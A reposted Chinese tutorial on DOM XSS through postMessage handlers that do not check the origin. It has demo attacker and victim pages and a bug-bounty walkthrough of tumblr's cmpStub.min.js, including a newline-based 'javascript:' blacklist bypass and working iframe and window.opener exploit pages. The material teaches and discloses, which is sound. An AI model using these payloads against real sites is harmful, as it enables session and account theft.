【網絡安全】PostMessage:分析JS實現XSS

未經許可,不得轉載。

文章目錄

    • 前言
    • 示例
    • 正文

前言

PostMessage是一個用于在網頁間安全地發送消息的瀏覽器 API。它允許不同的窗口(例如,來自同一域名下的不同頁面或者不同域名下的跨域頁面)進行通信,而無需通過服務器。通常情況下,它用于實現跨文檔消息傳遞(Cross-Document Messaging),這在一些復雜的網頁應用和瀏覽器插件中非常有用。

示例

在深入學習本文前,通過父子窗口間的消息傳遞示例代碼+瀏覽器回顯帶領讀者了解必要的知識。

1、send.html通過 postMessage 函數向receive.html發送消息:

<!--send.html-->
<!DOCTYPE html>
<html>
<head><title>發送界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('receive.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//發送的數據內容let msg = { content: "玲瓏安全漏洞挖掘培訓vx: bc52013" };//發送消息到任意目標源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打開子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='發送消息' onclick='sendMessage();' />
</body>
</html>

在這里插入圖片描述

2、receive.html通過監聽 message 事件來輸出收到的消息:

<!--receive.html-->
<!DOCTYPE html>
<html>
<head><title>接收界面</title><meta charset="utf-8" /><script>//添加事件監控消息window.addEventListener("message", (event) => {let txt = document.getElementById("msg");//接收傳輸過來的變量數據txt.value = `接收到的消息為:${event.data.content}`;});</script>
</head>
<body><h1>接收界面(子窗口)</h1><input type='text' id='msg' style='width: 400px; height: 50px;'/>
</body>
</html>

在這里插入圖片描述

3、在send.html點擊打開子窗口后彈出子窗口:

在這里插入圖片描述

4、點擊發送消息后,接收界面收到并且打印消息內容**“玲瓏安全漏洞挖掘培訓vx: bc52013”**

在這里插入圖片描述

如上,通過PostMessage實現了父子窗口間的消息傳遞。

然而,若代碼書寫不規范將導致安全問題。

1、數據偽造

由于receive.html沒有設置信任源,因此任意頁面都可向該頁面發送數據,導致數據偽造。

<!--數據偽造.html-->
<!DOCTYPE html>
<html>
<head><title>數據偽造界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('receive.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//發送的數據內容let msg = { content: "ICE" };//發送消息到任意目標源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打開子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='發送消息' onclick='sendMessage();' />
</body>
</html>

如圖,接收方本應接收到的消息為:

在這里插入圖片描述

而在數據偽造界面打開子窗口并發送消息后,接收界面接收到偽造數據:

在這里插入圖片描述

2、XSS

當發送參數可控且接收方處理不當時,將導致DOM XSS

例如,受害方接收一個可控的URL參數:

<!--受害方.html-->
<!DOCTYPE html>
<html>
<head><title>受害方界面</title><meta charset="utf-8" /><script>//添加事件監控消息window.addEventListener("message", (event) => {location.href=`${event.data.url}`;});</script>
</head>
<body><h1>受害方界面(子窗口)</h1>
</body>
</html>

于是可以構造惡意請求,實現XSS:

<!--攻擊方實現XSS.html-->
<!DOCTYPE html>
<html>
<head><title>攻擊方實現XSS界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('受害方.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//發送的數據內容let msg = { url:"javascript:alert('玲瓏安全漏洞挖掘培訓')" };//發送消息到任意目標源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打開子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='發送消息' onclick='sendMessage();' />
</body>
</html>

在攻擊方界面打開子窗口:

在這里插入圖片描述

點擊發送消息后,受害方執行JS代碼:

在這里插入圖片描述

在這里插入圖片描述

同時,當頁面中不包含X-Frame-Options標頭時,還可利用 <iframe>標簽嵌套受害方頁面并傳遞可控參數,以執行JS代碼:

<!-- 攻擊方: hacker.html -->
<!DOCTYPE html>
<html>
<head><title>XSS-iframe</title>
</head><body><iframe name="attack" src="http://127.0.0.1/user.html" onload="xss()"></iframe>
</body><script type="text/javascript">var iframe = window.frames.attack;function xss() {let msg = {url: "javascript:alert(document.domain)"};iframe.postMessage(msg, '*');}
</script>
</html>

在這里插入圖片描述

攻擊效果如圖:

在這里插入圖片描述

漏洞危害如下:

(i)竊取用戶敏感數據(個人數據、消息等)

(ii)竊取 CSRF 令牌并以用戶的名義執行惡意操作

(iii)竊取賬戶憑證并接管用戶賬戶

修復緩解方案

1、發送方應驗證目標源,確保消息只能被預期的接收方處理:

在這里插入圖片描述

接收方應使用指定的信任域:

在這里插入圖片描述

此時,點擊發送消息后,受害方界面不再執行彈窗,因為攻擊方指定的目標源是https協議,而受害方僅指定http://127.0.0.1為信任源:

在這里插入圖片描述

當攻擊方頁面指定127.0.0.1的http協議時,由于攻擊方頁面與受害者頁面均在該服務器上,因此能夠實現XSS:

在這里插入圖片描述

在這里插入圖片描述

正文

進入tumblr.com,在cmpStub.min.js文件中存在如下函數,其不檢查 postMessage 的來源:

!function() {var e = !1;function t(e) {var t = "string" == typeof e.data, n = e.data;if (t)try {n = JSON.parse(e.data)} catch (e) {}if (n && n.__cmpCall) {var r = n.__cmpCall;window.__cmp(r.command, r.parameter, function(n, o) {var a = {__cmpReturn: {returnValue: n,success: o,callId: r.callId}};e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")//不檢查來源,為后續測試提供可能性})}}

主要含義:接收并解析 JSON 數據 (e.data),將其轉換為 JavaScript 對象 (n);執行 __cmpCall 中指定的命令和參數,并將執行結果封裝成返回對象 a;最后通過 postMessage 方法將處理結果發送回消息來源。

跟進__cmp() 函數,看看應用程序對數據進行了何種處理:

     if (e)return {init: function(e) {if (!l.a.isInitialized())if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},p.uiUrl || p.organizationId)if (c.a.isSafeUrl(p.uiUrl)) {p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),g.setGdpr("S"),g.setPublisherId(p.organizationId)),(t = p.sharedConsentDomain) && r.a.init(t),s.a.setCookieDomain(p.cookieDomain);var n = s.a.getGdprApplies();!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {n || (e = !0),s.a.setIsUserInEU(e),e ? (g.setGdpr("L"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : l.a.initializationComplete()})} elsec.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)

可以看出,c.a.isSafeUrl(p.uiUrl))為真才將繼續執行。

跟進isSafeUrl函數:

isSafeUrl: function(e) {return -1 === (e = (e || "").replace(" ","")).toLowerCase().indexOf("javascript:")},

若p.uiUrl(即e)中存在javascript,則返回假。

所以這里是為了防止JS代碼執行,而通常使用黑名單的防護方式是容易被繞過的。

那么傳入的p.uiUrl參數后續會經過什么處理呢?

在上面的代碼中,還存在該行代碼:

e ? l.a.initializationComplete() : b(l.a.initializationComplete)

跟進b()函數:

b = function(e) {g.markConsentRenderStartTime();var n = p.uiUrl ? i.a : a.a;l.a.isInitialized() ? l.a.getConsentString(function(t, o) {p.consentString = t,n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})}) : n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})

再跟進關鍵的renderConsents() 函數:

         renderConsents: function(n, p) {if ((t = n || {}).siteDomain = window.location.origin,r = t.uiUrl) {if (p && u.push(p),!document.getElementById("cmp-container-id")) {(i = document.createElement("div")).id = "cmp-container-id",i.style.position = "fixed",i.style.background = "rgba(0,0,0,.5)",i.style.top = 0,i.style.right = 0,i.style.bottom = 0,i.style.left = 0,i.style.zIndex = 1e4,document.body.appendChild(i),(a = document.createElement("iframe")).style.position = "fixed",a.src = r,a.id = "cmp-ui-iframe",a.width = 0,a.height = 0,a.style.display = "block",a.style.border = 0,i.style.zIndex = 10001,l(),

可以看到該函數將創建iframe元素,而該元素的src屬性就是我們可控的p.uiUrl。

綜上所述,整體流程如下:

傳入的數據進入cmp()函數處理 -> 處理時執行issafeurl函數判斷數據是否合法 -> 若合法,則執行renderConsents()函數,構造iframe

知悉參數從傳遞到處理的流程后,就可以構造Payload了。

現在的目的是繞過isSafeUrl函數,而恰好,JavaScript 在處理字符串時,會忽略掉換行符、制表符等空白字符(無害臟數據):

在這里插入圖片描述

因此,依據__cmp() 函數,以JSON形式構造Payload如下:

{"__cmpCall": {"command": "init","parameter": {"uiUrl": "ja\nvascript:alert(document.domain)","uiCustomParams": "ice","organizationId": "ice","gdprAppliesGlobally": "ice"}}
}

使用iframe嵌套受攻擊頁面:

<html><body><script>window.setInterval(function(e) {try {window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}", "*");} catch(e) {}}, 100);</script><iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe></body>
</html>

成功實現XSS:

img

以上是頁面中不包含X-Frame-Options標頭的情況,導致我們能嵌套受攻擊頁面。

若頁面中包含X-Frame-Options 標頭,則我們不能嵌套受攻擊頁面。這種情況下,可通過 window.opener 實現兩個瀏覽器選項卡之間的連接,再發送 postMessage 消息,實現XSS。

在tumblr.com頁面存在X-Frame-Options標頭,但也含有cmpStub.min.js文件的情況下,攻擊代碼如下所示:

<html>
<body>
<script>
function e() {window.setTimeout(function() {window.location.href = "https://www.tumblr.com/embed/post/";}, 500);
}
window.setInterval(function(e) {try {window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}","*");} catch(e) {}
}, 100);
</script><a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
</body>
</html>

成功實現XSS:

img

參考鏈接:

https://www.cnblogs.com/piaomiaohongchen/p/18305112

https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/46142.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/46142.shtml
英文地址,請注明出處:http://en.pswp.cn/web/46142.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【Arduino IDE】安裝及開發環境、ESP32庫

一、Arduino IDE下載 二、Arduino IDE安裝 三、ESP32庫 四、Arduino-ESP32庫配置 五、新建ESP32-S3N15R8工程文件 樂鑫官網 Arduino官方下載地址 Arduino官方社區 Arduino中文社區 一、Arduino IDE下載 ESP-IDF、MicroPython和Arduino是三種不同的開發框架&#xff0c;各自適…

定制開發AI智能名片商城微信小程序在私域流量池構建中的應用與策略

摘要 在數字經濟蓬勃發展的今天&#xff0c;私域流量已成為企業競爭的新戰場。定制開發AI智能名片商城微信小程序&#xff0c;作為私域流量池構建的創新工具&#xff0c;正以其獨特的優勢助力企業實現用戶資源的深度挖掘與高效轉化。本文深入探討了定制開發AI智能名片商城微信…

.NET Framework、.NET Core 、 .NET 5、.NET 6和.NET 7 和.NET8 簡介及區別

簡述 在軟件開發的宇宙中&#xff0c;.NET是一個不斷擴展的星系&#xff0c;每個版本都像是一顆獨特的星球&#xff0c;擁有自己的特性和環境。作為技術經理&#xff0c;站在選擇的十字路口&#xff0c;您需要一張詳盡的星圖來導航。本文將作為您的向導&#xff0c;帶您穿越從.…

AIoTedge智能物聯網邊緣計算平臺:引領未來智能邊緣技術

引言 隨著物聯網技術的飛速發展&#xff0c;我們正步入一個萬物互聯的時代。AIoTedge智能物聯網邊緣計算平臺&#xff0c;以其創新的邊云協同架構&#xff0c;為智能設備和系統提供了強大的數據處理和智能決策能力&#xff0c;開啟了智能物聯網的新篇章。 智能邊緣計算平臺的核…

LLaMA-Factory

文章目錄 一、關于 LLaMA-Factory項目特色性能指標 二、如何使用1、安裝 LLaMA Factory2、數據準備3、快速開始4、LLaMA Board 可視化微調5、構建 DockerCUDA 用戶&#xff1a;昇騰 NPU 用戶&#xff1a;不使用 Docker Compose 構建CUDA 用戶&#xff1a;昇騰 NPU 用戶&#xf…

【Java項目筆記】01項目介紹

一、技術框架 1.后端服務 Spring Boot為主體框架 Spring MVC為Web框架 MyBatis、MyBatis Plus為持久層框架&#xff0c;負責數據庫的讀寫 阿里云短信服務 2.存儲服務 MySql redis緩存數據 MinIO為對象存儲&#xff0c;存儲非結構化數據&#xff08;圖片、視頻、音頻&a…

推薦一款處理TCP數據的架構--EasyTcp4Net

EasyTcp4Net是一個基于c# Pipe,ReadonlySequence的高性能Tcp通信庫,旨在提供穩定,高效,可靠的tcp通訊服務。 基礎的消息通訊 重試機制 超時機制 SSL加密通信支持 KeepAlive 流量背壓控制 粘包和斷包處理 (支持固定頭處理,固定長度處理,固定字符處理) 日志支持Pipe &…

Spring MVC 的常用注解

RequestMapping 和 RestController注解 上面兩個注解&#xff0c;是Spring MCV最常用的注解。 RequestMapping &#xff0c; 他是用來注冊接口的路由映射。 路由映射&#xff1a;當一個用戶訪問url時&#xff0c;將用戶的請求對應到某個方法或類的過程叫做路由映射。 Reques…

定制QCustomPlot 帶有ListView的QCustomPlot 全網唯一份

定制QCustomPlot 帶有ListView的QCustomPlot 文章目錄 定制QCustomPlot 帶有ListView的QCustomPlot摘要需求描述實現關鍵字: Qt、 QCustomPlot、 魔改、 定制、 控件 摘要 先上效果,是你想要的,再看下面的分解,順便點贊搜藏一下;不是直接右上角。 QCustomPlot是一款…

基于springboot+vue+uniapp的駕校預約平臺小程序

開發語言&#xff1a;Java框架&#xff1a;springbootuniappJDK版本&#xff1a;JDK1.8服務器&#xff1a;tomcat7數據庫&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;數據庫工具&#xff1a;Navicat11開發軟件&#xff1a;eclipse/myeclipse/ideaMaven包&#…

認識AOP--小白可看

AOP&#xff08;Aspect-Oriented Programming&#xff0c;面向切面編程&#xff09;是一種軟件開發范式&#xff0c;旨在通過橫切關注點&#xff08;cross-cutting concerns&#xff09;的方式來解耦系統中的各個模塊。橫切關注點指的是那些不屬于業務邏輯本身&#xff0c;但是…

Apache Sqoop

Apache Sqoop是一個開源工具&#xff0c;用于在Apache Hadoop和關系型數據庫&#xff08;如MySQL、Oracle、PostgreSQL等&#xff09;之間進行數據的批量傳輸。其主要功能包括&#xff1a; 1. 數據導入&#xff1a;從關系型數據庫&#xff08;如MySQL、Oracle等&#xff09;中將…

WPF設置歡迎屏幕,程序啟動過度動畫

當主窗體加載時間過長&#xff0c;這時候基本都會想添加一個等待操作來響應用戶點擊&#xff0c;提高用戶體驗。下面我記錄兩個方法&#xff0c;一點拙見&#xff0c;僅供參考。 方法1:在App類中使用SplashScreen類。 protected override void OnStartup(StartupEventArgs e)…

35.UART(通用異步收發傳輸器)-RS232(2)

&#xff08;1&#xff09;RS232接收模塊visio框圖&#xff1a; &#xff08;2&#xff09;接收模塊Verilog代碼編寫: /* 常見波特率&#xff1a; 4800、9600、14400、115200 在系統時鐘為50MHz時&#xff0c;對應計數為&#xff1a; (1/4800) * 10^9 /20 -1 10416 …

【作業】 貪心算法1

Tips:三題尚未完成。 #include <iostream> #include <algorithm> using namespace std; int a[110]; int main(){int n,r,sum0;cin>>n>>r;for(int i0;i<n;i){cin>>a[i];}sort(a0,an);for(int i0;i<n;i){if(i>r){a[i]a[i-r]a[i];}suma[…

[USACO18JAN] Cow at Large P

題解都說了&#xff0c;當統計 u u u為根節點的時候&#xff0c;答案就是滿足以下條件的 i i i的數量&#xff1a; d i ≥ g i d_i≥g_i di?≥gi?且 d f a i < g f a i d_{fa_i}<g_{fa_i} dfai??<gfai??&#xff0c;設這個數量為 a n s ans ans。以下嚴格證明 …

Solana開發資源都有哪些

Solana是一個高性能的區塊鏈平臺&#xff0c;吸引了大量開發者構建去中心化應用&#xff08;dApps&#xff09;。以下是一些有用的Solana開發教程和資源&#xff1a; 官方資源 Solana 官方文檔&#xff1a; Solana Documentation: 這是最全面的資源&#xff0c;包括快速入門、…

[實踐篇]13.29 QNX下的系統性能監控工具 - sysMonAppQNX(二)

2.7 getinfo: 獲取 DSP 的詳細信息 getinfo 可用選項 (如果沒有參數,則使用默認值) --q6 (默認選擇處理器: ADSP): adsp - 選擇的處理器為 ADSPsdsp - 選擇的處理器為傳感器 DSPcdsp - 選擇的處理器為計算 DSP示例: ./sysMonApp getinfo --q6 cdsp - 獲取計算 DSP 的詳細信…

大氣熱力學(8)——熱力學圖的應用之一(氣象要素求解)

本篇文章源自我在 2021 年暑假自學大氣物理相關知識時手寫的筆記&#xff0c;現轉化為電子版本以作存檔。相較于手寫筆記&#xff0c;電子版的部分內容有補充和修改。筆記內容大部分為公式的推導過程。 文章目錄 8.1 復習斜 T-lnP 圖上的幾種線8.1.1 等溫線和等壓線8.1.2 干絕熱…

連鎖零售門店分析思路-人貨場 數據分析

連鎖零售門店分析思路 以下是一個連鎖零售門店的分析思路&#xff1a; 一、市場與競爭分析 二、門店運營分析&#xff08;銷售分析&#xff09; 三、銷售與財務分析 四、客戶分析 五、數字化與營銷分析 最近幫一個大學生培訓&#xff0c;就門店銷售分析 &#xff0c;說到門店…